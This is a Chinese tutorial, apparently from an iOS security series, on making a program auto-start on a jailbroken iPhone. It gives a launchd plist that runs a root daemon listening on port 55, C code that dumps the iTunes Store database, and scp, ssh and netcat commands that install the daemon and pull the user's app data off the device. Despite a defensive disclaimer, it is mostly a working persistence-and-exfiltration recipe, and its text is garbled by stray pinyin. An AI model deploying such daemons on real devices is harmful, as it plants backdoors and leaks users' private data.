本人鄭重聲明:并不鼓勵(lì)竊取用戶隱私等行為,一切 hack 學(xué)習(xí)都只是為了研究如何防御。OK,進(jìn)入正題。
在 iOS 安全攻防(一):Hack必備的命令與工具中,介紹了如何編譯自己的 C 程序并手動(dòng)啟動(dòng)。今天介紹如何使程序變?yōu)殚_機(jī)自啟動(dòng)。
http://wiki.jikexueyuan.com/project/ios-security-defense/images/daemon1.png" alt="daemon1" />
其中要注意一下通信服務(wù)名,我定為 55 。用編輯器打開,即為:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Program</key>
<string>/usr/bin/ncdemo</string>
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>SessionCreate</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/ncdemo</string>
</array>
<key>inetdCompatibility</key>
<dict>
<key>Wait</key>
<false/>
</dict>
<key>Sockets</key>
<dict>
<key>Listeners</key>
<dict>
<key>SockServiceName</key>
<string>55</string>
</dict>
</dict>
</dict>
</plist>
最后,將 plist 文件 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/
下 。
讀取 itunesstored2.sqlitedb 信息,并輸出到 stdout 中,便于我們讀取。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"
int main(){
int fd = open(FILE, O_RDONLY);
char buf[128];
int ret = 0;
if(fd < 0)
return -1;
while (( ret = read(fd, buf, sizeof(buf))) > 0){
write( fileno(stdout), buf, ret);
}
close(fd);
return 0;
}
$ scp ncdemo root@192.168.1.114:ncdemo
$ ssh root@192.168.1.114
#ldid -S ncdemo
#mv ncdemo /usr/bin
這時(shí),我們只需要利用 netcat,指定之前定義的服務(wù)名稱,輕松在本地抓取設(shè)備 iTunesstore 信息.
$ nc 192.168.1.114 55 > itunesstored2.sqlitedb
好吧,這里就介紹個(gè)最簡單的應(yīng)用,利用string命令查看:
$ strings itunesstored2.sqlitedb
于是乎,我們就清晰的得到了 iPhone/iPad 設(shè)備上都安裝了哪些 app :
http://wiki.jikexueyuan.com/project/ios-security-defense/images/daemon2.png" alt="daemon2" />
當(dāng)然,除了這些,你想干什么都可以……夜深了,先寫到這里吧……